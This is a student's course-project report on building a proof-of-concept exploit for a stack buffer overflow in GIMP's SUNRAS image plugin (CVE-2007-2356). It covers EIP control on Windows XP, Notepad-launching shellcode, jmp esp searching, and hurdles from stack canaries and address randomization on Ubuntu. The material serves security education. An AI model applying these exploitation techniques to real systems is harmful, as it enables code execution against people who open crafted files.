

Topics in Software Security: Smashing the GIMP

Rob Tougher (rt2301@columbia.edu, rtougher@yahoo.com)

May 8, 2009

1 Introduction

For my class project I chose to implement a proof of concept exploit for a buffer overflow vulnerability in the GIMP open source program. I targeted the Windows XP and Ubuntu Linux platforms.

The CVE description for the vulnerability is the following [1]:

CVE-2007-2356: "Stack-based buffer overflow in the `set_color_table` function in `sunras.c` in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute arbitrary code via a crafted RAS file."

The following is the vulnerable function:

```
static void set_color_table (gint32 image_ID,
    L_SUNFILEHEADER *sunhdr, guchar *suncolmap)
{
    int ncols, j;
    guchar ColorMap[256*3];
    ncols = sunhdr->l_ras_maplength / 3;
    if (ncols <= 0) return;
    for (j = 0; j < ncols; j++)
    {
        ColorMap[j*3]    = suncolmap[j];
        ColorMap[j*3+1] = suncolmap[j+ncols];
        ColorMap[j*3+2] = suncolmap[j+2*ncols];
    }
    gimp_image_set_colormap (image_ID, ColorMap, ncols);
}
```

Notice the stack variable `ColorMap`. The for loop is writing to this buffer using the data from the passed-in buffer, `suncolmap`. The `ColorMap` buffer has size `256*3`, however the for loop contains the condition "`j < ncols`", where `ncols` can be larger than the size of `ColorMap`. Thus a specially-crafted RAS image file can write past the end of the `ColorMap` buffer and smash the stack.

2 Windows XP Proof of Concept

I decided that I wanted to start off by exploiting Windows XP. I had some experience exploiting Windows XP from the homework and I knew that Windows XP lacked buffer overflow defenses [2], so I figured it would be a good place to start.

I downloaded a C source file from SecurityFocus for generating an exploit:

- <http://www.securityfocus.com/bid/23680/exploit>

I generated a sample file, and then used the technique discussed in class for narrowing down the location of the file that overwrites the return address. I wrote a series of 1's, 2's, 3's, etc to the file using the hex editor "HEdit" by Yuri Software [3]. I then passed the file to the GIMP via the commandline:

```
$ gimp-2.2 crash.ras
```

which resulted in successful control of the EIP register:

```
eax=00000000 ebx=11111111 ecx=77c2c2e3 edx=00080000 esi=11111111 edi=11111111
eip=33554433 esp=0022f400 ebp=77c5fce0 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
33554433 ??                ???
0:000> d esp
0022f400  44 55 33 44 55 33 44 55-33 44 55 33 44 55 33 44  DU3DU3DU3DU3DU3D
0022f410  55 33 44 55 33 44 55 33-44 55 33 44 55 33 44 55  U3DU3DU3DU3DU3DU
0022f420  33 44 55 33 44 55 33 44-55 33 44 55 33 44 55 33  3DU3DU3DU3DU3DU3
0022f430  44 55 33 44 55 33 44 55-33 44 55 33 44 55 33 44  DU3DU3DU3DU3DU3D
0022f440  55 33 44 55 33 44 55 33-44 55 33 44 55 33 44 55  U3DU3DU3DU3DU3DU
0022f450  33 44 55 00 01 00 00 00-78 01 96 00 00 00 00 00  3DU.....x.....
0022f460  10 b5 96 00 00 00 08 02-38 00 00 00 c8 ee 97 7c  .....8.....|
0022f470  5e 2e 9d 7c 78 01 96 00-00 00 00 00 70 b5 96 00  ^..|x.....p...
```

Notice that EIP is overwritten with 33554433. Also notice that the bytes starting at ESP contain alternating 33's, 44's, and 55's. It turns out that the vulnerable function uses three different locations of the source buffer to fill the destination buffer:

```
for (j = 0; j < ncols; j++)
{
```

```

    ColorMap[j*3]    = suncolmap[j];
    ColorMap[j*3+1] = suncolmap[j+ncols];
    ColorMap[j*3+2] = suncolmap[j+2*ncols];
}

```

The result is that I needed to place the shellcode and return address in three different locations of the file. For example, if I had shellcode "AA BB CC DD EE FF 11 22 33", this shellcode would be placed in the exploit file like the following:

- AA DD 11
- BB EE 22
- CC FF 33

I used the following shellcode for starting Notepad on Windows:

Address	Hex dump	Command
7C96478E	31C0	XOR EAX,EAX
7C964790	50	PUSH EAX
7C964791	68 65786520	PUSH 20657865
7C964796	68 7061642E	PUSH 2E646170
7C96479B	68 6E6F7465	PUSH 65746F6E
7C9647A0	89E3	MOV EBX,ESP
7C9647A2	6A 01	PUSH 1
7C9647A4	53	PUSH EBX
7C9647A5	B8 AD23867C	MOV EAX,7C8623AD
7C9647AA	FFD0	CALL EAX

This shellcode performs the following:

- XOR EAX with itself, which places the value 0 into EAX.
- Push EAX (0) onto the stack, to null-terminate the string being passed to WinExec.
- Push the string "Notepad.exe" onto the stack.
- Store the address of the "Notepad.exe" string in the EBX register.
- Push the value 1 onto the stack.
- Push the address of the "Notepad.exe" string onto the stack.
- Move the address of WinExec into the EAX register.

- Call WinExec.

One interesting comment: I didn't necessarily need to use the XOR trick to place the value 0 onto the stack, because this vulnerability does not use the string runtime functions; it is an image buffer being overwritten. I used this technique only because I needed it for the homework assignment and copied part of the shellcode over to this project.

3 Ubuntu, First Try

With a successful Windows XP exploit under my belt, I next turned my attention to Ubuntu Linux. I downloaded the sources for the GIMP [4], configured, and compiled:

```
./configure --disable-print
sudo make install
```

I copied the Windows XP exploit to my Linux machine and opened the file in the GIMP. I received a "stack smashing detected" error:

```
rob@rob-desktop:~/buffer$ gimp-2.2 crash.ras
(sunras:8828): LibGimp-DEBUG: Waiting for debugger...
*** stack smashing detected ***: /usr/local/lib/gimp/2.0/plugin-ins/sunras terminated
===== Backtrace: =====
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48) [0xb764b558]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0) [0xb764b510]
/usr/local/lib/gimp/2.0/plugin-ins/sunras [0x8049a39]
[0x55555555]
```

After some research online I learned that this was the stack smashing protection offered by GCC [5]. GCC places a canary on the stack frame of potentially vulnerable functions.

I wanted to learn a bit more about how this works, so I decided to start looking at the assembly for the `set_color_table` function. I installed DDD [6] and attempted to debug the GIMP.

I ran into an interesting problem when initially trying to debug the GIMP. A lot of the functionality for the GIMP is located in separate executables [12]. For example, when you open a RAS image in the GIMP, the GIMP binary passes this image to a separate binary named "sunras". This is the basic plugin architecture of the GIMP. So I had a difficult time getting a debugger to break into the "sunras" plugin.

Luckily the GIMP provides a debugging mechanism for plugins [7]. You can set an environment variable named GIMP_PLUGIN_DEBUG, and the plugin will break on start and wait until you attach to it with a debugger and continue the process. I set this environment variable, opened the exploit file, set a breakpoint in set_color_table, and continued to the breakpoint.

The following is the beginning of the function. When a process starts, glibc generates a random value and stores it in the GS register. In the beginning of the function, the canary value is copied from the GS register onto the stack [8]:

```
<set_color_table+5>:  mov    %ecx,%esi
<set_color_table+7>:  push  %ebx
<set_color_table+8>:  sub   $0x32c,%esp
<set_color_table+14>: mov    %eax,-0x324(%ebp)
<set_color_table+20>: mov    %gs:0x14,%eax
<set_color_table+26>: mov    %eax,-0x10(%ebp)
<set_color_table+29>: xor    %eax,%eax
```

At the end of the function, the canary on the stack is compared against the value in the GS register. If they are not equal, the stack_chk_fail function is called:

```
<set_color_table+168>: call  <gimp_image_set_colormap@plt>
<set_color_table+173>: mov   -0x10(%ebp),%eax
<set_color_table+176>: xor   %gs:0x14,%eax
<set_color_table+183>: jne  <set_color_table+196>
<set_color_table+185>: add  $0x32c,%esp
<set_color_table+191>: pop  %ebx
<set_color_table+192>: pop  %esi
<set_color_table+193>: pop  %edi
<set_color_table+194>: pop  %ebp
<set_color_table+195>: ret
<set_color_table+196>: call <__stack_chk_fail@plt>
```

One interesting note: the GS register contains some hidden bytes that I could not easily read via GDB [9], so I wasn't able to read the value of the canary. Though I probably could have checked the value on the stack prior to it getting overwritten.

In order to get around the stack protection I reconfigured and recompiled the GIMP:

```
env CFLAGS="$CFLAGS -fno-stack-protector" ./configure
sudo make install
```

With this new version of the GIMP I started receiving access violations. I read through the assembly, and noticed that the assembly was retrieving variables from the stack in every iteration of the loop. For example, consider the following line of the loop:

```
ColorMap[j*3] = suncolmap[j];
```

This produces the following assembly:

```
<set_color_table+59>:  mov    -0x4(%ebp),%edx
<set_color_table+62>:  mov    %edx,%eax
<set_color_table+64>:  add    %eax,%eax
<set_color_table+66>:  lea   (%eax,%edx,1),%edx
<set_color_table+69>:  mov    -0x4(%ebp),%eax
<set_color_table+72>:  add    0x10(%ebp),%eax
<set_color_table+75>:  movzbl (%eax),%eax
<set_color_table+78>:  mov    %al,-0x308(%ebp,%edx,1)
<set_color_table+85>:  mov    -0x4(%ebp),%edx
```

Notice that EBP-0x4 and EBP+0x10 are being read. Once these locations were overwritten by the buffer, the code was attempting to access invalid memory locations.

I worked around this issue by writing the exact values for the stack variables into my exploit file. These two variables are "j" and "numcols", and their values were predictable.

I ran into an issue, though. The loop was also retrieving a function argument from the stack, "suncolmap". This parameter was a pointer to dynamically-allocated memory. The result was that this pointer wasn't predictable. Thus I couldn't craft an exploit file that would correctly overwrite this value.

4 GCC Options Experimentation

After hitting this issue on Linux, I started wondering how I was able to write a successful exploit on Windows XP. I decided to start experimenting with GCC to determine if varying the GCC compilation options would change how the assembly was generated.

I created a simple test case program that mimicked the vulnerable function:

```

int foo(char* buf)
{
    int j, ncols;
    char stackbuf[400];
    for(j=0; j < ncols; j++)
    {
        stackbuf[j*3] = buf[j];
        stackbuf[j*3+1] = buf[j+ncols];
        stackbuf[j*3+2] = buf[j+2*ncols];
    }

    bar(stackbuf,ncols);
    return stackbuf[j*ncols];
}

```

Compiling this program with GCC defaults resulted in stack usage that was similar to the GIMP on Linux:

```

movl -12(%ebp), %edx
movl %edx, %eax
addl %eax, %eax
addl %edx, %eax
leal -8(%ebp), %edx
addl %edx, %eax
leal -416(%eax), %edx
movl -12(%ebp), %eax
addl 8(%ebp), %eax
movzbl (%eax), %eax
movb %al, (%edx)

```

I decided to turn up the optimizations. I compiled using "-O2", which resulted in "numcols" and "buf" being stored in registers and not retrieved from the stack in the loop:

```

movzbl (%edx), %eax
movb %al, -400(%ecx)
movzbl (%edx,%esi), %eax
movb %al, -399(%ecx)
movzbl (%edx,%esi,2), %eax
incl %edx
movb %al, -398(%ecx)
addl $3, %ecx
decl %ebx

```

```
jne L6
movl %esi, %ebx
```

Besides optimizing the stack access, "-O2" also shortened the loop. The above listing is the entire assembly for the loop.

5 Ubuntu, Second Try

Now that I knew that "-O2" would fix the issue with stack access, I recompiled the GIMP with this option and retried the exploit. I was able to take control of EIP.

My next step was to find an address that contained the machine code for "jmp esp". I listed the modules ("info proc all") to see what addresses I could search for "jmp esp":

```
0xb7e0b000 0xb7e18000 0xd000 0 /usr/local/lib/libgimpbase-2.0.so.0.200.14
0xb7e18000 0xb7e19000 0x1000 0xc000 /usr/local/lib/libgimpbase-2.0.so.0.200.14
0xb7e19000 0xb7e1a000 0x1000 0xd000 /usr/local/lib/libgimpbase-2.0.so.0.200.14
```

Next I used GDB's macro feature to search for "jmp esp" [10]:

```
(gdb) set $x = 0xb7e0b000
(gdb) while((*$x & 0xffff) != 0xe4ff && $x < 0xb7f40000)
>set $x = $x + 1
>end
(gdb) x/2x $x
0xb7e22a94:    0xff    0xe4
```

(Note: the version of GDB that I was using lacks the search feature that WinDbg contains, which was surprising to me.)

I updated my file with this address, re-ran the GIMP, but ran into a problem. The address of the module changed!

Take for example two successive runs of the GIMP:

- Run one:

```
0xb7610000 0xb76c5000 0xb5000 0 /usr/lib/libglib-2.0.so.0.1800.2
```

- Run two:
0xb76c5000 0xb777a000 0xb5000 0 /usr/lib/libglib-2.0.so.0.1800.2

This is caused by the Exec Shield patch on Linux [11]. The Exec Shield functionality randomizes the base addresses of libraries, the stack location, and the heap location.

6 Project Summary

I'm very happy with my progress on this project. The following are my major accomplishments:

- I implemented a Proof of Concept for Windows XP.
- I was able to control EIP on Ubuntu.
- While debugging Ubuntu, I learned how to use DDD and learned a bit of assembly in the process. I also learned about how the GCC compiler options affect the assembly output.

It was a great learning experience!

7 References

[1] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-2356>

[2] <http://www.phreedom.org/research/bypassing-browser-memory-protections/bypassing-browser-memory-protections.pdf>

[3] <http://www.yurisw.com/HEdit.htm>

[4] <http://gimp.mirrors.hoobly.com/gimp/v2.2/>

[5] <http://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html>

[6] <http://www.gnu.org/software/ddd/>

[7] <http://developer.gimp.org/debug-plug-ins.txt>

- [8] <http://cvs.savannah.gnu.org/viewvc/libc/elf/stackguard-macros.h?root=libc&view=log>
- [9] http://www.stanford.edu/~stinson/paper_notes/fundamental/mem_mgmt/ia32_pts.txt
- [10] <http://www.linuxquestions.org/questions/showthread.php?p=3089900#post3089900>
- [11] http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf
- [12] <http://developer.gimp.org/writing-a-plugin-in/1/index.html>